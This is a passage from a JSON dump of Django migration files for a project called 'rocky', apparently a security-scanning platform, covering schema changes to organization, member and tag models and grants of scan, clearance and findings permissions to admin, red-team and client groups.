    "path": "rocky/tools/migrations/0015_alter_job_input_ooi.py",
    "content": "# Generated by Django 3.2.11 on 2022-02-15 09:15\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n    dependencies = [(\"tools\", \"0014_drop_dispatches_field\")]\n\n    operations = [migrations.AlterField(model_name=\"job\", name=\"input_ooi\", field=models.TextField(null=True))]\n"
  },
  {
    "path": "rocky/tools/migrations/0016_organization_signal_fields.py",
    "content": "# Generated by Django 3.2.4 on 2021-09-08 11:04\n\nimport django.core.validators\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n    dependencies = [(\"tools\", \"0015_alter_job_input_ooi\")]\n\n    operations = [\n        migrations.AddField(\n            model_name=\"organization\",\n            name=\"signal_group_id\",\n            field=models.CharField(blank=True, max_length=126, null=True),\n        ),\n        migrations.AddField(\n            model_name=\"organization\",\n            name=\"signal_username\",\n            field=models.CharField(\n                blank=True,\n                max_length=126,\n                null=True,\n                unique=True,\n                validators=[\n                    django.core.validators.RegexValidator(\n                        message=\"Phone number must be entered in the format: '+99999999999'. 11 digits allowed.\",\n                        regex=\"^\\\\+?1?\\\\d{11,11}$\",\n                    )\n                ],\n            ),\n        ),\n        migrations.AddField(\n            model_name=\"organizationmember\",\n            name=\"signal_username\",\n            field=models.CharField(\n                blank=True,\n                default=None,\n                max_length=126,\n                null=True,\n                unique=True,\n                validators=[\n                    django.core.validators.RegexValidator(\n                        message=\"Phone number must be entered in the format: '+99999999999'. 11 digits allowed.\",\n                        regex=\"^\\\\+?1?\\\\d{11,11}$\",\n                    )\n                ],\n            ),\n        ),\n    ]\n"
  },
  {
    "path": "rocky/tools/migrations/0017_alter_organizationmember_foreignkey.py",
    "content": "# Generated by Django 3.2.12 on 2022-03-01 14:15\n\nimport django.db.models.deletion\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n    dependencies = [(\"tools\", \"0016_organization_signal_fields\")]\n\n    operations = [\n        migrations.AlterField(\n            model_name=\"organizationmember\",\n            name=\"organization\",\n            field=models.ForeignKey(\n                null=True, on_delete=django.db.models.deletion.SET_NULL, related_name=\"members\", to=\"tools.organization\"\n            ),\n        )\n    ]\n"
  },
  {
    "path": "rocky/tools/migrations/0018_alter_boefjeconfig_options.py",
    "content": "# Generated by Django 3.2.12 on 2022-03-08 13:26\n\nfrom django.db import migrations\n\n\nclass Migration(migrations.Migration):\n    dependencies = [(\"tools\", \"0017_alter_organizationmember_foreignkey\")]\n\n    operations = [\n        migrations.AlterModelOptions(\n            name=\"boefjeconfig\",\n            options={\"permissions\": [(\"can_enable_disable_boefje\", \"Can enable or disable boefje\")]},\n        )\n    ]\n"
  },
  {
    "path": "rocky/tools/migrations/0019_alter_scanprofile_remove_level_and_user.py",
    "content": "# Generated by Django 3.2.12 on 2022-04-28 09:08\n\nfrom django.db import migrations\n\n\nclass Migration(migrations.Migration):\n    dependencies = [(\"tools\", \"0018_alter_boefjeconfig_options\")]\n\n    operations = [\n        migrations.RemoveField(model_name=\"job\", name=\"user\"),\n        migrations.RemoveField(model_name=\"scanprofile\", name=\"level\"),\n        migrations.RemoveField(model_name=\"scanprofile\", name=\"user\"),\n    ]\n"
  },
  {
    "path": "rocky/tools/migrations/0020_auto_20220524_1324.py",
    "content": "# Generated by Django 3.2.13 on 2022-05-24 13:24\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n    dependencies = [(\"tools\", \"0019_alter_scanprofile_remove_level_and_user\")]\n\n    operations = [\n        migrations.AlterModelOptions(\n            name=\"organization\",\n            options={\n                \"permissions\": (\n                    (\"can_switch_organization\", \"Can switch organization\"),\n                    (\"can_scan_organization\", \"Can scan organization\"),\n                )\n            },\n        ),\n        migrations.RemoveField(model_name=\"scanprofile\", name=\"is_source_ooi\"),\n        migrations.AddField(\n            model_name=\"organizationmember\", name=\"onboarded\", field=models.BooleanField(default=False)\n        ),\n    ]\n"
  },
  {
    "path": "rocky/tools/migrations/0021_delete_boefjeconfig.py",
    "content": "# Generated by Django 3.2.13 on 2022-05-25 09:58\n\nfrom django.db import migrations\n\n\nclass Migration(migrations.Migration):\n    dependencies = [(\"tools\", \"0020_auto_20220524_1324\")]\n\n    operations = [migrations.DeleteModel(name=\"BoefjeConfig\")]\n"
  },
  {
    "path": "rocky/tools/migrations/0022_alter_organization_options.py",
    "content": "# Generated by Django 3.2.13 on 2022-06-22 09:40\n\nfrom django.db import migrations\n\n\nclass Migration(migrations.Migration):\n    dependencies = [(\"tools\", \"0021_delete_boefjeconfig\")]\n\n    operations = [\n        migrations.AlterModelOptions(\n            name=\"organization\",\n            options={\n                \"permissions\": (\n                    (\"can_switch_organization\", \"Can switch organization\"),\n                    (\"can_scan_organization\", \"Can scan organization\"),\n                    (\"can_enable_disable_boefje\", \"Can enable or disable boefje\"),\n                )\n            },\n        )\n    ]\n"
  },
  {
    "path": "rocky/tools/migrations/0023_delete_scanprofile.py",
    "content": "# Generated by Django 3.2.13 on 2022-06-23 12:10\n\nfrom django.db import migrations\n\n\nclass Migration(migrations.Migration):\n    dependencies = [(\"tools\", \"0022_alter_organization_options\")]\n\n    operations = [migrations.DeleteModel(name=\"ScanProfile\")]\n"
  },
  {
    "path": "rocky/tools/migrations/0024_auto_20221005_1251.py",
    "content": "# Generated by Django 3.2.15 on 2022-10-05 12:51\n\nimport django.core.validators\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n    dependencies = [(\"tools\", \"0023_delete_scanprofile\")]\n\n    operations = [\n        migrations.AddField(\n            model_name=\"organizationmember\",\n            name=\"acknowledged_clearance_level\",\n            field=models.IntegerField(\n                default=0,\n                validators=[django.core.validators.MinValueValidator(-1), django.core.validators.MaxValueValidator(4)],\n            ),\n        ),\n        migrations.AddField(\n            model_name=\"organizationmember\",\n            name=\"trusted_clearance_level\",\n            field=models.IntegerField(\n                default=0,\n                validators=[django.core.validators.MinValueValidator(0), django.core.validators.MaxValueValidator(4)],\n            ),\n        ),\n    ]\n"
  },
  {
    "path": "rocky/tools/migrations/0025_auto_20221027_1233.py",
    "content": "# Generated by Django 3.2.15 on 2022-10-27 12:33\n\nimport django.core.validators\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n    dependencies = [(\"tools\", \"0024_auto_20221005_1251\")]\n\n    operations = [\n        migrations.AlterModelOptions(\n            name=\"organization\",\n            options={\n                \"permissions\": (\n                    (\"can_switch_organization\", \"Can switch organization\"),\n                    (\"can_scan_organization\", \"Can scan organization\"),\n                    (\"can_enable_disable_boefje\", \"Can enable or disable boefje\"),\n                    (\"can_set_clearance_level\", \"Can set clearance level\"),\n                )\n            },\n        ),\n        migrations.AlterField(\n            model_name=\"organizationmember\",\n            name=\"acknowledged_clearance_level\",\n            field=models.IntegerField(\n                default=-1,\n                validators=[django.core.validators.MinValueValidator(-1), django.core.validators.MaxValueValidator(4)],\n            ),\n        ),\n        migrations.AlterField(\n            model_name=\"organizationmember\",\n            name=\"trusted_clearance_level\",\n            field=models.IntegerField(\n                default=-1,\n                validators=[django.core.validators.MinValueValidator(-1), django.core.validators.MaxValueValidator(4)],\n            ),\n        ),\n    ]\n"
  },
  {
    "path": "rocky/tools/migrations/0026_auto_20221031_1344.py",
    "content": "# Generated by Django 3.2.16 on 2022-10-31 13:44\n\nfrom django.contrib.auth.management import create_permissions\nfrom django.db import migrations\n\n\n# https://stackoverflow.com/a/40092780/1336275\ndef migrate_permissions(apps, schema_editor):\n    for app_config in apps.get_app_configs():\n        app_config.models_module = True\n        create_permissions(app_config, apps=apps, verbosity=0)\n        app_config.models_module = None\n\n\ndef add_group_permissions(apps, schema_editor):\n    Group = apps.get_model(\"auth\", \"Group\")\n    Permission = apps.get_model(\"auth\", \"Permission\")\n    can_set_clearance_level = Permission.objects.get(codename=\"can_set_clearance_level\")\n    try:\n        redteam = Group.objects.get(name=\"redteam\")\n        redteam.permissions.add(can_set_clearance_level)\n    except Group.DoesNotExist:\n        pass\n\n\nclass Migration(migrations.Migration):\n    dependencies = [(\"tools\", \"0025_auto_20221027_1233\"), (\"contenttypes\", \"0002_remove_content_type_name\")]\n\n    operations = [migrations.RunPython(migrate_permissions), migrations.RunPython(add_group_permissions)]\n"
  },
  {
    "path": "rocky/tools/migrations/0027_auto_20230103_1721.py",
    "content": "# Generated by Django 3.2.16 on 2023-01-03 17:21\n\nimport django.db.models.deletion\nimport tagulous.models.fields\nimport tagulous.models.models\nfrom django.db import migrations, models\n\nimport tools.fields\n\n\nclass Migration(migrations.Migration):\n    dependencies = [(\"tools\", \"0026_auto_20221031_1344\")]\n\n    operations = [\n        migrations.RemoveField(model_name=\"organization\", name=\"signal_group_id\"),\n        migrations.RemoveField(model_name=\"organization\", name=\"signal_username\"),\n        migrations.AlterField(\n            model_name=\"organization\",\n            name=\"code\",\n            field=tools.fields.LowerCaseSlugField(\n                allow_unicode=True,\n                help_text=\"A slug containing only lower-case unicode letters, numbers, hyphens or underscores that will be used in URLs and paths\",\n                max_length=32,\n                unique=True,\n            ),\n        ),\n        migrations.AlterField(\n            model_name=\"organization\",\n            name=\"name\",\n            field=models.CharField(help_text=\"The name of the organization\", max_length=126, unique=True),\n        ),\n        migrations.CreateModel(\n            name=\"OrganizationTag\",\n            fields=[\n                (\"id\", models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name=\"ID\")),\n                (\"name\", models.CharField(max_length=255, unique=True)),\n                (\"slug\", models.SlugField()),\n                (\n                    \"count\",\n                    models.IntegerField(default=0, help_text=\"Internal counter of how many times this tag is in use\"),\n                ),\n                (\n                    \"protected\",\n                    models.BooleanField(default=False, help_text=\"Will not be deleted when the count reaches 0\"),\n                ),\n                (\"path\", models.TextField()),\n                (\"label\", models.CharField(help_text=\"The name of the tag, without ancestors\", max_length=255)),\n                (\"level\", models.IntegerField(default=1, help_text=\"The level of the tag in the tree\")),\n                (\n                    \"color\",\n                    models.CharField(\n                        choices=[\n                            (\"blue-light\", \"Blue light\"),\n                            (\"blue-medium\", \"Blue medium\"),\n                            (\"blue-dark\", \"Blue dark\"),\n                            (\"green-light\", \"Green light\"),\n                            (\"green-medium\", \"Green medium\"),\n                            (\"green-dark\", \"Green dark\"),\n                            (\"yellow-light\", \"Yellow light\"),\n                            (\"yellow-medium\", \"Yellow medium\"),\n                            (\"yellow-dark\", \"Yellow dark\"),\n                            (\"orange-light\", \"Orange light\"),\n                            (\"orange-medium\", \"Orange medium\"),\n                            (\"orange-dark\", \"Orange dark\"),\n                            (\"red-light\", \"Red light\"),\n                            (\"red-medium\", \"Red medium\"),\n                            (\"red-dark\", \"Red dark\"),\n                            (\"violet-light\", \"Violet light\"),\n                            (\"violet-medium\", \"Violet medium\"),\n                            (\"violet-dark\", \"Violet dark\"),\n                        ],\n                        default=\"blue-light\",\n                        max_length=20,\n                    ),\n                ),\n                (\n                    \"border_type\",\n                    models.CharField(\n                        choices=[(\"plain\", \"Plain\"), (\"solid\", \"Solid\"), (\"dashed\", \"Dashed\"), (\"dotted\", \"Dotted\")],\n                        default=\"plain\",\n                        max_length=20,\n                    ),\n                ),\n                (\n                    \"parent\",\n                    models.ForeignKey(\n                        blank=True,\n                        null=True,\n                        on_delete=django.db.models.deletion.CASCADE,\n                        related_name=\"children\",\n                        to=\"tools.organizationtag\",\n                    ),\n                ),\n            ],\n            options={\"ordering\": (\"name\",), \"abstract\": False, \"unique_together\": {(\"slug\", \"parent\")}},\n            bases=(tagulous.models.models.BaseTagTreeModel, models.Model),\n        ),\n        migrations.AddField(\n            model_name=\"organization\",\n            name=\"tags\",\n            field=tagulous.models.fields.TagField(\n                _set_tag_meta=True,\n                blank=True,\n                force_lowercase=True,\n                help_text=\"Enter a comma-separated tag string\",\n                protect_all=True,\n                to=\"tools.OrganizationTag\",\n                tree=True,\n            ),\n        ),\n    ]\n"
  },
  {
    "path": "rocky/tools/migrations/0028_auto_20230117_1242.py",
    "content": "# Generated by Django 3.2.16 on 2023-01-17 12:42\n\nimport django.db.models.deletion\nfrom django.conf import settings\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n    dependencies = [migrations.swappable_dependency(settings.AUTH_USER_MODEL), (\"tools\", \"0027_auto_20230103_1721\")]\n\n    operations = [\n        migrations.AlterField(\n            model_name=\"organizationmember\",\n            name=\"organization\",\n            field=models.ForeignKey(\n                null=True, on_delete=django.db.models.deletion.CASCADE, related_name=\"members\", to=\"tools.organization\"\n            ),\n        ),\n        migrations.AlterField(\n            model_name=\"organizationmember\",\n            name=\"user\",\n            field=models.ForeignKey(on_delete=django.db.models.deletion.DO_NOTHING, to=settings.AUTH_USER_MODEL),\n        ),\n        migrations.AlterUniqueTogether(name=\"organizationmember\", unique_together={(\"user\", \"organization\")}),\n        migrations.RemoveField(model_name=\"organizationmember\", name=\"goal\"),\n        migrations.RemoveField(model_name=\"organizationmember\", name=\"member_role\"),\n        migrations.RemoveField(model_name=\"organizationmember\", name=\"signal_username\"),\n    ]\n"
  },
  {
    "path": "rocky/tools/migrations/0029_alter_organizationtag_color.py",
    "content": "# Generated by Django 3.2.18 on 2023-02-28 17:39\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n    dependencies = [(\"tools\", \"0028_auto_20230117_1242\")]\n\n    operations = [\n        migrations.AlterField(\n            model_name=\"organizationtag\",\n            name=\"color\",\n            field=models.CharField(\n                choices=[\n                    (\"color-1-light\", \"Blue light\"),\n                    (\"color-1-medium\", \"Blue medium\"),\n                    (\"color-1-dark\", \"Blue dark\"),\n                    (\"color-2-light\", \"Green light\"),\n                    (\"color-2-medium\", \"Green medium\"),\n                    (\"color-2-dark\", \"Green dark\"),\n                    (\"color-3-light\", \"Yellow light\"),\n                    (\"color-3-medium\", \"Yellow medium\"),\n                    (\"color-3-dark\", \"Yellow dark\"),\n                    (\"color-4-light\", \"Orange light\"),\n                    (\"color-4-medium\", \"Orange medium\"),\n                    (\"color-4-dark\", \"Orange dark\"),\n                    (\"color-5-light\", \"Red light\"),\n                    (\"color-5-medium\", \"Red medium\"),\n                    (\"color-5-dark\", \"Red dark\"),\n                    (\"color-6-light\", \"Violet light\"),\n                    (\"color-6-medium\", \"Violet medium\"),\n                    (\"color-6-dark\", \"Violet dark\"),\n                ],\n                default=\"color-1-light\",\n                max_length=20,\n            ),\n        )\n    ]\n"
  },
  {
    "path": "rocky/tools/migrations/0029_set_user_full_name.py",
    "content": "# Generated by Django 3.2.18 on 2023-02-27 14:44\n\nfrom django.db import migrations\n\n\ndef set_full_name(apps, schema_editor):\n    OrganizationMember = apps.get_model(\"tools\", \"OrganizationMember\")\n\n    # Set the user full name to the name in OrganizationMember if full_name is\n    # empty but the OrganizationMember name isn't.\n    for member in OrganizationMember.objects.filter(user__full_name=\"\").exclude(member_name=\"\"):\n        member.user.full_name = member.member_name\n        member.user.save()\n\n\nclass Migration(migrations.Migration):\n    dependencies = [(\"account\", \"0001_initial\"), (\"tools\", \"0028_auto_20230117_1242\")]\n\n    operations = [migrations.RunPython(set_full_name)]\n"
  },
  {
    "path": "rocky/tools/migrations/0030_auto_20230227_1458.py",
    "content": "# Generated by Django 3.2.18 on 2023-02-27 14:58\n\nimport django.db.models.deletion\nfrom django.conf import settings\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n    dependencies = [migrations.swappable_dependency(settings.AUTH_USER_MODEL), (\"tools\", \"0029_set_user_full_name\")]\n\n    operations = [\n        migrations.RemoveField(model_name=\"organizationmember\", name=\"authorized\"),\n        migrations.RemoveField(model_name=\"organizationmember\", name=\"member_name\"),\n        migrations.RemoveField(model_name=\"organizationmember\", name=\"verified\"),\n        migrations.AlterField(\n            model_name=\"organizationmember\",\n            name=\"organization\",\n            field=models.ForeignKey(\n                on_delete=django.db.models.deletion.CASCADE, related_name=\"members\", to=\"tools.organization\"\n            ),\n        ),\n        migrations.AlterField(\n            model_name=\"organizationmember\",\n            name=\"user\",\n            field=models.ForeignKey(on_delete=django.db.models.deletion.PROTECT, to=settings.AUTH_USER_MODEL),\n        ),\n    ]\n"
  },
  {
    "path": "rocky/tools/migrations/0031_merge_20230301_2012.py",
    "content": "# Generated by Django 3.2.18 on 2023-03-01 20:12\n\nfrom django.db import migrations\n\n\nclass Migration(migrations.Migration):\n    dependencies = [(\"tools\", \"0029_alter_organizationtag_color\"), (\"tools\", \"0030_auto_20230227_1458\")]\n\n    operations: list = []\n"
  },
  {
    "path": "rocky/tools/migrations/0032_alter_organizationmember_user.py",
    "content": "# Generated by Django 3.2.18 on 2023-04-05 20:38\n\nimport django.db.models.deletion\nfrom django.conf import settings\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n    dependencies = [migrations.swappable_dependency(settings.AUTH_USER_MODEL), (\"tools\", \"0031_merge_20230301_2012\")]\n\n    operations = [\n        migrations.AlterField(\n            model_name=\"organizationmember\",\n            name=\"user\",\n            field=models.ForeignKey(\n                on_delete=django.db.models.deletion.PROTECT, related_name=\"members\", to=settings.AUTH_USER_MODEL\n            ),\n        )\n    ]\n"
  },
  {
    "path": "rocky/tools/migrations/0033_alter_organization_options.py",
    "content": "# Generated by Django 3.2.19 on 2023-05-10 16:06\n\nfrom django.db import migrations\n\n\nclass Migration(migrations.Migration):\n    dependencies = [(\"tools\", \"0032_alter_organizationmember_user\")]\n\n    operations = [\n        migrations.AlterModelOptions(\n            name=\"organization\",\n            options={\n                \"permissions\": (\n                    (\"can_switch_organization\", \"Can switch organization\"),\n                    (\"can_scan_organization\", \"Can scan organization\"),\n                    (\"can_enable_disable_boefje\", \"Can enable or disable boefje\"),\n                    (\"can_set_clearance_level\", \"Can set clearance level\"),\n                    (\"can_recalculate_bits\", \"Can recalculate bits\"),\n                )\n            },\n        )\n    ]\n"
  },
  {
    "path": "rocky/tools/migrations/0033_auto_20230407_1113.py",
    "content": "# Generated by Django 3.2.18 on 2023-04-07 11:13\n\nfrom django.db import migrations, models\n\n\ndef migrate_organizationmember_status_blocked_to_blocked_attribute(apps, schema_editor):\n    OrganizationMember = apps.get_model(\"tools\", \"OrganizationMember\")\n    OrganizationMember.objects.filter(status=\"blocked\").update(status=\"active\", blocked=True)\n\n\nclass Migration(migrations.Migration):\n    dependencies = [(\"tools\", \"0032_alter_organizationmember_user\")]\n\n    operations = [\n        migrations.AddField(model_name=\"organizationmember\", name=\"blocked\", field=models.BooleanField(default=False)),\n        migrations.RunPython(migrate_organizationmember_status_blocked_to_blocked_attribute),\n        migrations.AlterField(\n            model_name=\"organizationmember\",\n            name=\"status\",\n            field=models.CharField(choices=[(\"active\", \"active\"), (\"new\", \"new\")], default=\"new\", max_length=64),\n        ),\n    ]\n"
  },
  {
    "path": "rocky/tools/migrations/0034_alter_organization_options.py",
    "content": "# Generated by Django 3.2.18 on 2023-04-26 15:07\n\nfrom django.db import migrations\n\n\nclass Migration(migrations.Migration):\n    dependencies = [(\"tools\", \"0033_auto_20230407_1113\")]\n\n    operations = [\n        migrations.AlterModelOptions(\n            name=\"organization\",\n            options={\n                \"permissions\": (\n                    (\"can_switch_organization\", \"Can switch organization\"),\n                    (\"can_scan_organization\", \"Can scan organization\"),\n                    (\"can_enable_disable_boefje\", \"Can enable or disable boefje\"),\n                    (\"can_set_clearance_level\", \"Can set clearance level\"),\n                    (\"can_delete_oois\", \"Can delete oois\"),\n                )\n            },\n        )\n    ]\n"
  },
  {
    "path": "rocky/tools/migrations/0034_organizationmember_groups.py",
    "content": "# Generated by Django 3.2.18 on 2023-04-26 13:54\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n    dependencies = [(\"auth\", \"0012_alter_user_first_name_max_length\"), (\"tools\", \"0033_auto_20230407_1113\")]\n\n    operations = [\n        migrations.AddField(\n            model_name=\"organizationmember\", name=\"groups\", field=models.ManyToManyField(blank=True, to=\"auth.Group\")\n        )\n    ]\n"
  },
  {
    "path": "rocky/tools/migrations/0035_update_ooi_delete_perm.py",
    "content": "# Generated by Django 3.2.18 on 2023-04-21 14:44\n\nfrom django.contrib.auth.management import create_permissions\nfrom django.db import migrations\n\n\n# https://stackoverflow.com/a/40092780/1336275\ndef migrate_permissions(apps, schema_editor):\n    for app_config in apps.get_app_configs():\n        app_config.models_module = True\n        create_permissions(app_config, apps=apps, verbosity=0)\n        app_config.models_module = None\n\n\ndef add_group_permissions(apps, schema_editor):\n    Group = apps.get_model(\"auth\", \"Group\")\n    Permission = apps.get_model(\"auth\", \"Permission\")\n    can_delete_oois = Permission.objects.get(codename=\"can_delete_oois\")\n    try:\n        redteam = Group.objects.get(name=\"redteam\")\n        admin = Group.objects.get(name=\"admin\")\n        redteam.permissions.add(can_delete_oois)\n        admin.permissions.add(can_delete_oois)\n    except Group.DoesNotExist:\n        pass\n\n\nclass Migration(migrations.Migration):\n    dependencies = [(\"tools\", \"0034_alter_organization_options\"), (\"contenttypes\", \"0002_remove_content_type_name\")]\n\n    operations = [migrations.RunPython(migrate_permissions), migrations.RunPython(add_group_permissions)]\n"
  },
  {
    "path": "rocky/tools/migrations/0035_update_perms_move_and_clear_groups.py",
    "content": "# Generated by Django 3.2.18 on 2023-04-26 13:54\n\nfrom django.contrib.auth import get_user_model\nfrom django.db import migrations\n\nfrom tools.models import OrganizationMember\n\nUser = get_user_model()\n\n\ndef add_group_permissions(apps, schema_editor):\n    Group = apps.get_model(\"auth\", \"Group\")\n    Permission = apps.get_model(\"auth\", \"Permission\")\n    try:\n        admin = Group.objects.get(name=\"admin\")\n        admin.permissions.add(Permission.objects.get(codename=\"add_indemnification\"))\n    except Group.DoesNotExist:\n        pass\n\n\ndef migrate_user_groups_to_organizationmember(apps, schema_editor):\n    members = OrganizationMember.objects.all()\n    for member in members:\n        user_groups = member.user.groups.all()\n        member.groups.add(*user_groups)\n\n\ndef clear_group_from_users(apps, schema_editor):\n    users = User.objects.all()\n    for user in users:\n        user.groups.clear()\n\n\nclass Migration(migrations.Migration):\n    dependencies = [(\"tools\", \"0034_organizationmember_groups\")]\n\n    operations = [\n        migrations.RunPython(add_group_permissions),\n        migrations.RunPython(migrate_user_groups_to_organizationmember),\n        migrations.RunPython(clear_group_from_users),\n    ]\n"
  },
  {
    "path": "rocky/tools/migrations/0036_merge_20230504_1629.py",
    "content": "# Generated by Django 3.2.18 on 2023-05-04 16:29\n\nfrom django.db import migrations\n\n\nclass Migration(migrations.Migration):\n    dependencies = [(\"tools\", \"0035_update_ooi_delete_perm\"), (\"tools\", \"0035_update_perms_move_and_clear_groups\")]\n\n    operations: list = []\n"
  },
  {
    "path": "rocky/tools/migrations/0037_alter_organization_options.py",
    "content": "# Generated by Django 3.2.19 on 2023-05-09 12:13\n\nfrom django.db import migrations\n\n\nclass Migration(migrations.Migration):\n    dependencies = [(\"tools\", \"0036_merge_20230504_1629\"), (\"tools\", \"0033_alter_organization_options\")]\n\n    operations = [\n        migrations.AlterModelOptions(\n            name=\"organization\",\n            options={\n                \"permissions\": (\n                    (\"can_switch_organization\", \"Can switch organization\"),\n                    (\"can_scan_organization\", \"Can scan organization\"),\n                    (\"can_enable_disable_boefje\", \"Can enable or disable boefje\"),\n                    (\"can_set_clearance_level\", \"Can set clearance level\"),\n                    (\"can_delete_oois\", \"Can delete oois\"),\n                    (\"can_recalculate_bits\", \"Can recalculate bits\"),\n                )\n            },\n        )\n    ]\n"
  },
  {
    "path": "rocky/tools/migrations/0038_alter_organization_options.py",
    "content": "# Generated by Django 3.2.18 on 2023-05-11 12:29\n\nfrom django.db import migrations\n\n\nclass Migration(migrations.Migration):\n    dependencies = [(\"tools\", \"0037_alter_organization_options\")]\n\n    operations = [\n        migrations.AlterModelOptions(\n            name=\"organization\",\n            options={\n                \"permissions\": (\n                    (\"can_switch_organization\", \"Can switch organization\"),\n                    (\"can_scan_organization\", \"Can scan organization\"),\n                    (\"can_enable_disable_boefje\", \"Can enable or disable boefje\"),\n                    (\"can_set_clearance_level\", \"Can set clearance level\"),\n                    (\"can_delete_oois\", \"Can delete oois\"),\n                    (\"can_mute_findings\", \"Can mute findings\"),\n                    (\"can_view_katalogus_settings\", \"Can view KAT-alogus settings\"),\n                    (\"can_set_katalogus_settings\", \"Can set KAT-alogus settings\"),\n                    (\"can_recalculate_bits\", \"Can recalculate bits\"),\n                )\n            },\n        )\n    ]\n"
  },
  {
    "path": "rocky/tools/migrations/0038_delete_job.py",
    "content": "# Generated by Django 3.2.19 on 2023-05-17 13:19\n\nfrom django.db import migrations\n\n\nclass Migration(migrations.Migration):\n    dependencies = [(\"tools\", \"0037_alter_organization_options\")]\n\n    operations = [migrations.DeleteModel(name=\"Job\")]\n"
  },
  {
    "path": "rocky/tools/migrations/0039_merge_0038_alter_organization_options_0038_delete_job.py",
    "content": "# Generated by Django 3.2.19 on 2023-05-22 13:07\n\nfrom django.db import migrations\n\n\nclass Migration(migrations.Migration):\n    dependencies = [(\"tools\", \"0038_alter_organization_options\"), (\"tools\", \"0038_delete_job\")]\n\n    operations: list = []\n"
  },
  {
    "path": "rocky/tools/migrations/0039_update_permissions.py",
    "content": "from django.contrib.auth.management import create_permissions\nfrom django.db import migrations\n\nfrom tools.models import GROUP_ADMIN, GROUP_CLIENT, GROUP_REDTEAM\n\n\n# same as in 0026_auto_20221031_1344.py\n# https://stackoverflow.com/a/40092780/1336275\ndef migrate_permissions(apps, schema_editor):\n    for app_config in apps.get_app_configs():\n        app_config.models_module = True\n        create_permissions(app_config, apps=apps, verbosity=0)\n        app_config.models_module = None\n\n\ndef add_group_permissions(apps, schema_editor):\n    Group = apps.get_model(\"auth\", \"Group\")\n    Permission = apps.get_model(\"auth\", \"Permission\")\n    try:\n        admin = Group.objects.get(name=GROUP_ADMIN)\n        admin.permissions.add(Permission.objects.get(codename=\"can_recalculate_bits\"))\n\n        redteam = Group.objects.get(name=GROUP_REDTEAM)\n        redteam.permissions.add(Permission.objects.get(codename=\"can_mute_findings\"))\n        redteam.permissions.add(Permission.objects.get(codename=\"can_view_katalogus_settings\"))\n        redteam.permissions.add(Permission.objects.get(codename=\"can_set_katalogus_settings\"))\n\n        clients = Group.objects.get(name=GROUP_CLIENT)\n        clients.permissions.add(Permission.objects.get(codename=\"can_scan_organization\"))\n    except Group.DoesNotExist:\n        pass\n\n\nclass Migration(migrations.Migration):\n    dependencies = [(\"tools\", \"0039_merge_0038_alter_organization_options_0038_delete_job\")]\n\n    operations = [migrations.RunPython(migrate_permissions), migrations.RunPython(add_group_permissions)]\n"
  },
  {
    "path": "rocky/tools/migrations/0040_admin_inherits_red_teamer_permissions.py",
    "content": "from django.contrib.auth.management import create_permissions\nfrom django.db import migrations\n\nfrom tools.models import GROUP_ADMIN\n\n\n# same as in 0026_auto_20221031_1344.py\n# https://stackoverflow.com/a/40092780/1336275\ndef migrate_permissions(apps, schema_editor):\n    for app_config in apps.get_app_configs():\n        app_config.models_module = True\n        create_permissions(app_config, apps=apps, verbosity=0)\n        app_config.models_module = None\n\n\ndef add_group_permissions(apps, schema_editor):\n    Group = apps.get_model(\"auth\", \"Group\")\n    Permission = apps.get_model(\"auth\", \"Permission\")\n    try:\n        admin = Group.objects.get(name=GROUP_ADMIN)\n\n        redteamer_permissions = [\n            \"can_scan_organization\",\n            \"can_enable_disable_boefje\",\n            \"can_set_clearance_level\",\n            \"can_delete_oois\",\n            \"can_mute_findings\",\n            \"can_view_katalogus_settings\",\n            \"can_set_katalogus_settings\",\n        ]\n\n        for permission in redteamer_permissions:\n            admin.permissions.add(Permission.objects.get(codename=permission))\n    except Group.DoesNotExist:\n        pass\n\n\nclass Migration(migrations.Migration):\n    dependencies = [(\"tools\", \"0039_update_permissions\")]\n\n    operations = [migrations.RunPython(migrate_permissions), migrations.RunPython(add_group_permissions)]\n"
  },
  {
    "path": "rocky/tools/migrations/0040_update_admin_permission.py",
    "content": "# Generated by Django 4.2.1 on 2023-07-18 17:18\nfrom django.contrib.auth.management import create_permissions\nfrom django.db import migrations\n\nfrom tools.models import GROUP_ADMIN\n\n\ndef migrate_permissions(apps, schema_editor):\n    for app_config in apps.get_app_configs():\n        app_config.models_module = True\n        create_permissions(app_config, apps=apps, verbosity=0)\n        app_config.models_module = None\n\n\ndef add_admin_permission(apps, schema_editor):\n    Group = apps.get_model(\"auth\", \"Group\")\n    Permission = apps.get_model(\"auth\", \"Permission\")\n    try:\n        admin = Group.objects.get(name=GROUP_ADMIN)\n        admin.permissions.add(Permission.objects.get(codename=\"can_scan_organization\"))\n    except Group.DoesNotExist:\n        pass\n\n\nclass Migration(migrations.Migration):\n    dependencies = [(\"tools\", \"0039_update_permissions\")]\n\n    operations = [migrations.RunPython(migrate_permissions), migrations.RunPython(add_admin_permission)]\n"
  },
  {
    "path": "rocky/tools/migrations/0041_merge_20230731_1131.py",
    "content": "# Generated by Django 4.2.3 on 2023-07-31 11:31\n\nfrom django.db import migrations\n\n\nclass Migration(migrations.Migration):\n    dependencies = [(\"tools\", \"0040_admin_inherits_red_teamer_permissions\"), (\"tools\", \"0040_update_admin_permission\")]\n\n    operations: list = []\n"
  },
  {
    "path": "rocky/tools/migrations/0042_alter_organization_options.py",
